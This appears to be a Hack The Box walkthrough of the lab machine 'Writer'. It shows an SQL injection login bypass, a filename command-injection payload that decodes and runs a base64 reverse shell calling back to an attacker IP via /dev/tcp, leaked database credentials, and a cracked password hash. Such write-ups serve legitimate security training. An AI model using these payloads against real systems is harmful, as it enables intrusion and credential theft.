Writer - HTB

Information
name: Writer
OS: Linux
Difficulty: Medium
Points: 30
Release: 2ND AUGUST, 2021
IP: 10.10.11.101
https://app.hackthebox.eu/machines/Writer
First blood:
- user.txt clubby789
- root.txt xct

Summary

Reading files and logging into the system via SQL injection.
Read source code to find command injection vulnerability and get web shell.
Read web path to discover configuration files. Read Mysql account secret login to get hash.
Use hashcat to crack the hash to get the password and get the user.txt.
Mapping port 25 out, execute a command via /etc/postfix/disclaimer to further elevate privileges and read john’s id_rsa.
Raise privileges via apt-get.

nmap

root@kali:~# nmap -sC -sV 10.10.11.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-24 12:22 CEST
Nmap scan report for writer.htb (10.10.11.101)
Host is up (0.61s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 14m02s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-24T10:37:18
|_  start_date: N/A

* Pages redirecting to writer.thb so lets add to /etc/host

10.10.11.101    writer.htb

web

* Nothing special on website so im gonna try to find something like login page

wfuzz -w /usr/share/dirb/wordlists/big.txt -u http://writer.htb/FUZZ --hc 404 -t 200

* Lets check administrative page

* Redirect us to admin login page, im gonna try something like admin:admin or admin:password. If doesn’t work im gonna check for sql injection bypass
So after 5-10 minutes i got in with admin ‘ or ‘1’=’1

* Checking with burp and discovered server is Apache/2.4.41 so i tried some things with sqlmap and find out that i can read /var/www/writer.htb/writer/

* In that directory i found 000-default.conf so i can read virtualhost

# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
#       ServerName dev.writer.htb
#       ServerAdmin admin@writer.htb
#
        # Collect static for the writer2_project/writer_web/templates
#       Alias /static /var/www/writer2_project/static
#       <Directory /var/www/writer2_project/static>
#               Require all granted
#       </Directory>
#
#       <Directory /var/www/writer2_project/writerv2>
#               <Files wsgi.py>
#                       Require all granted
#               </Files>
#       </Directory>
#
#       WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
#       WSGIProcessGroup writer2_project
#       WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
#        ErrorLog ${APACHE_LOG_DIR}/error.log
#        LogLevel warn
#        CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>

* So i tried to read /var/www/writer/__init__.py

Script is much longer but i will just paste important

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)

* If u are familiar with python u can see that u can do something with upload picture, i tried alot of things so i found out that i can do reverse shell through picture name

Getting foothold

* I decode my reverse shell into base64

* Next i upload picture called 123.png then renamed it on burp with my payload

* Payload looks like this

123.jpg;`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTUvNDQONCAwPiYxCg== | base64 -d | bash`

* I tried to execute and didnt got anything until i found i can upload picture on story through URL so i tried directly but got response localhost not allowed so i put http://google.com and in burp changed to my reverse shell

* And boom, we got a shell

Getting kyle user

* After searching www dir i found DB Conf when we look up we got user and password

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

* When we look up DB we found user called kyle and his decode password

MariaDB [dev]> select username,password from auth_user;
select username,password from auth_user;
+----------+------------------------------------------------------------------------------------------+
| username | password                                                                                 |
+----------+------------------------------------------------------------------------------------------+
| kyle     | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
+----------+------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)

* Let’s crack it

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

* We have a password so lets ssh as kyle

Getting john user

* After some times i found that i can send malicious mail and got some privileges, explained in those links

* I tried reverse shell it doesn’t work so i tried just privileges to acces in /home/john and we got acces, so i read .ssh and take id_rsa key

Getting root

* I upload Linpeas and found cronjob * apt-get

* In those links everything is explained, is very easy just follow commands, execute reverse shell and wait 2-5 minutes for cronjob

Amar#0484

Amar1337

Writeups and much more.

Summary

nmap

web

Script is much longer but i will just paste important

Getting foothold

Getting kyle user

Getting john user

Getting root

Back to main page

Summary

nmap

web

**Script is much longer but i will just paste important**

Getting foothold

Getting kyle user

Getting john user

Getting root

Back to main page

Script is much longer but i will just paste important